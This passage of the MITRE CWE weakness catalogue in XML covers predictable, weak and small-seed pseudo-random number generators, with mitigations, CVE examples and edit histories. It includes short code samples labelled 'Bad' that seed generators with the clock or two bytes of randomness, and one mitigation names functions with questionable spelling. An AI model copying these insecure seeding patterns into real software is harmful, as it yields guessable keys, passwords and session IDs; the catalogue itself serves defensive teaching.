               <Body_Text>If the user IDs are generated sequentially, or otherwise restricted to a narrow range of values, then this example also exhibits a Small Seed Space (CWE-339).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Same Seed in PRNG</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>MSC02-J</Entry_ID>
               <Entry_Name>Generate strong random numbers</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-267" Section="Annex C, Approved Random Number Generators"/>
            <Reference External_Reference_ID="REF-1192"/>
         </References>
	 <Notes>
	   <Note Type="Maintenance">As of CWE 4.5, terminology related to randomness, entropy, and
	   predictability can vary widely. Within the developer and other
	   communities, "randomness" is used heavily. However, within
	   cryptography, "entropy" is distinct, typically implied as a
	   measurement. There are no commonly-used definitions, even within
	   standards documents and cryptography papers. Future versions of
	   CWE will attempt to define these terms and, if necessary,
	   distinguish between them in ways that are appropriate for
	   different communities but do not reduce the usability of CWE for
	   mapping, understanding, or other scenarios.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Modes_of_Introduction, Name, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Maintenance_Notes, Modes_of_Introduction, Potential_Mitigations, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Modes_of_Introduction, References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">Same Seed in PRNG</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="337" Name="Predictable Seed in Pseudo-Random Number Generator (PRNG)" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>A Pseudo-Random Number Generator (PRNG) is initialized from a predictable seed, such as the process ID or system time.</Description>
         <Extended_Description>The use of predictable seeds significantly reduces the number of possible seeds that an attacker would need to test in order to predict which random numbers will be generated by the PRNG.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="335" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Use non-predictable inputs for seed generation.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-2">
               <Phase>Architecture and Design</Phase>
               <Phase>Requirements</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems, or use the more recent FIPS 140-3 [REF-1192] if possible.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-50">
               <Phase>Implementation</Phase>
               <Description>Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-102">
               <Intro_Text>Both of these examples use a statistical PRNG seeded with the current value of the system clock to generate a random number:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>Random random = new Random(System.currentTimeMillis());<xhtml:br/>int accountID = random.nextInt();</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>srand(time());<xhtml:br/>int randNum = rand();</xhtml:div>
               </Example_Code>
               <Body_Text>An attacker can easily predict the seed used by these PRNGs, and so also predict the stream of random numbers generated. Note these examples also exhibit CWE-338 (Use of Cryptographically Weak PRNG).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
		 <Observed_Examples>
         <Observed_Example>
            <Reference>CVE-2020-7010</Reference>
            <Description>Cloud application on Kubernetes generates passwords using a weak random number generator based on deployment time.</Description>
            <Link>https://www.cve.org/CVERecord?id=CVE-2020-7010</Link>
         </Observed_Example>
		   <Observed_Example>
			 <Reference>CVE-2019-11495</Reference>
			 <Description>server uses erlang:now() to seed the PRNG, which
			 results in a small search space for potential random
			 seeds</Description>
			 <Link>https://www.cve.org/CVERecord?id=CVE-2019-11495</Link>
		   </Observed_Example>
		   <Observed_Example>
			 <Reference>CVE-2008-0166</Reference>
			 <Description>The removal of a couple lines of code caused Debian's OpenSSL Package to only use the current process ID for seeding a PRNG</Description>
			 <Link>https://www.cve.org/CVERecord?id=CVE-2008-0166</Link>
		   </Observed_Example>
		   <Observed_Example>
			 <Reference>CVE-2016-10180</Reference>
			 <Description>Router's PIN generation is based on rand(time(0)) seeding.</Description>
			 <Link>https://www.cve.org/CVERecord?id=CVE-2016-10180</Link>
		   </Observed_Example>
		   <Observed_Example>
			 <Reference>CVE-2018-9057</Reference>
			 <Description>cloud provider product uses a non-cryptographically secure PRNG and seeds it with the current time</Description>
			 <Link>https://www.cve.org/CVERecord?id=CVE-2018-9057</Link>
		   </Observed_Example>
		 </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Predictable Seed in PRNG</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>MSC02-J</Entry_ID>
               <Entry_Name>Generate strong random numbers</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-267" Section="Annex C, Approved Random Number Generators"/>
            <Reference External_Reference_ID="REF-1192"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 20: Weak Random Numbers.&#34; Page 299"/>
         </References>
	 <Notes>
	   <Note Type="Maintenance">As of CWE 4.5, terminology related to randomness, entropy, and
	   predictability can vary widely. Within the developer and other
	   communities, "randomness" is used heavily. However, within
	   cryptography, "entropy" is distinct, typically implied as a
	   measurement. There are no commonly-used definitions, even within
	   standards documents and cryptography papers. Future versions of
	   CWE will attempt to define these terms and, if necessary,
	   distinguish between them in ways that are appropriate for
	   different communities but do not reduce the usability of CWE for
	   mapping, understanding, or other scenarios.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Modes_of_Introduction, Name, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Observed_Examples, Potential_Mitigations, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">Predictable Seed in PRNG</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="338" Name="Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product uses a Pseudo-Random Number Generator (PRNG) in a security context, but the PRNG's algorithm is not cryptographically strong.</Description>
         <Extended_Description>
            <xhtml:p>When a non-cryptographic PRNG is used in a cryptographic context, it can expose the cryptography to certain types of attacks.</xhtml:p>
            <xhtml:p>Often a pseudo-random number generator (PRNG) is not designed for cryptography. Sometimes a mediocre source of randomness is sufficient or preferable for algorithms that use random numbers. Weak generators generally take less processing power and/or do not use the precious, finite, entropy sources on a system. While such PRNGs might have very useful features, these same features could be used to break the cryptography.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="330" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="330" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>If a PRNG is used for authentication and authorization, such as a session ID or a seed for generating a cryptographic key, then an attacker may be able to easily guess the ID or cryptographic key and gain access to restricted functionality.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use functions or hardware which use a hardware-based random number generation for all crypto. This is the recommended solution. Use CyptGenRandom on Windows, or hw_rand() on Linux.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-102">
               <Intro_Text>Both of these examples use a statistical PRNG seeded with the current value of the system clock to generate a random number:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>Random random = new Random(System.currentTimeMillis());<xhtml:br/>int accountID = random.nextInt();</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>srand(time());<xhtml:br/>int randNum = rand();</xhtml:div>
               </Example_Code>
               <Body_Text>The random number functions used in these examples, rand() and Random.nextInt(), are not considered cryptographically strong. An attacker may be able to predict the random numbers generated by these functions. Note that these example also exhibit CWE-337 (Predictable Seed in PRNG).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2009-3278</Reference>
               <Description>Crypto product uses rand() library function to generate a recovery key, making it easier to conduct brute force attacks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3278</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3238</Reference>
               <Description>Random number generator can repeatedly generate the same value.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3238</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2367</Reference>
               <Description>Web application generates predictable session IDs, allowing session hijacking.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2367</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0166</Reference>
               <Description>SSL library uses a weak random number generator that only generates 65,536 unique keys.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0166</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Non-cryptographic PRNG</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MSC30-C</Entry_ID>
               <Entry_Name>Do not use the rand() function for generating pseudorandom numbers</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 20: Weak Random Numbers.&#34; Page 299"/>
         </References>
	 <Notes>
	   <Note Type="Maintenance">As of CWE 4.5, terminology related to randomness, entropy, and
	   predictability can vary widely. Within the developer and other
	   communities, "randomness" is used heavily. However, within
	   cryptography, "entropy" is distinct, typically implied as a
	   measurement. There are no commonly-used definitions, even within
	   standards documents and cryptography papers. Future versions of
	   CWE will attempt to define these terms and, if necessary,
	   distinguish between them in ways that are appropriate for
	   different communities but do not reduce the usability of CWE for
	   mapping, understanding, or other scenarios.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Name, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Modes_of_Introduction, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Non-cryptographic PRNG</Previous_Entry_Name>
            <Previous_Entry_Name Date="2014-06-23">Use of Cryptographically Weak PRNG</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="339" Name="Small Seed Space in PRNG" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>A Pseudo-Random Number Generator (PRNG) uses a relatively small seed space, which makes it more susceptible to brute force attacks.</Description>
		 <Extended_Description>
		   PRNGs are entirely deterministic once seeded, so it should be extremely difficult to guess the seed. If an attacker can collect the outputs of a PRNG and then brute force the seed by trying every possibility to see which seed matches the observed output, then the attacker will know the output of any subsequent calls to the PRNG. A small seed space implies that the attacker will have far fewer possible values to try to exhaust all possibilities. 
		 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="335" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="341" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use well vetted pseudo-random number generating algorithms with adequate length seeds. Pseudo-random number generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-2">
               <Phase>Architecture and Design</Phase>
               <Phase>Requirements</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems, or use the more recent FIPS 140-3 [REF-1192] if possible.</Description>
            </Mitigation>
         </Potential_Mitigations>
		 <Demonstrative_Examples>
		   <Demonstrative_Example>
			 <Intro_Text>This code grabs some random bytes and uses them for a seed in a PRNG, in order to generate a new cryptographic key.</Intro_Text>
			 <Example_Code Nature="Bad" Language="Python">
			   <xhtml:div>
				 <xhtml:i># getting 2 bytes of randomness for the seeding the PRNG </xhtml:i><xhtml:br/>
				 seed = os.urandom(2)<xhtml:br/>
				 random.seed(a=seed)<xhtml:br/>
				 key = random.getrandbits(128)<xhtml:br/>
			   </xhtml:div>
		   </Example_Code>
		   <Body_Text>Since only 2 bytes is used as a seed, an attacker will only need to guess 2^16 (65,536) values before being able to replicate the state of the PRNG.</Body_Text>
		 </Demonstrative_Example>
	   </Demonstrative_Examples>
		 <Observed_Examples>
		   <Observed_Example>
			 <Reference>CVE-2019-10908</Reference>
			 <Description>product generates passwords via org.apache.commons.lang.RandomStringUtils, which uses java.util.Random internally. This PRNG has only a 48-bit seed.</Description>
			 <Link>https://www.cve.org/CVERecord?id=CVE-2019-10908</Link>
		   </Observed_Example>
		 </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Small Seed Space in PRNG</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-267" Section="Annex C, Approved Random Number Generators"/>
            <Reference External_Reference_ID="REF-1192"/>
         </References>
         <Notes>
            <Note Type="Maintenance">This entry may have a chaining relationship with predictable from observable state (CWE-341).</Note>
	   <Note Type="Maintenance">As of CWE 4.5, terminology related to randomness, entropy, and
	   predictability can vary widely. Within the developer and other
	   communities, "randomness" is used heavily. However, within
	   cryptography, "entropy" is distinct, typically implied as a
	   measurement. There are no commonly-used definitions, even within
	   standards documents and cryptography papers. Future versions of
	   CWE will attempt to define these terms and, if necessary,
	   distinguish between them in ways that are appropriate for
	   different communities but do not reduce the usability of CWE for
	   mapping, understanding, or other scenarios.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
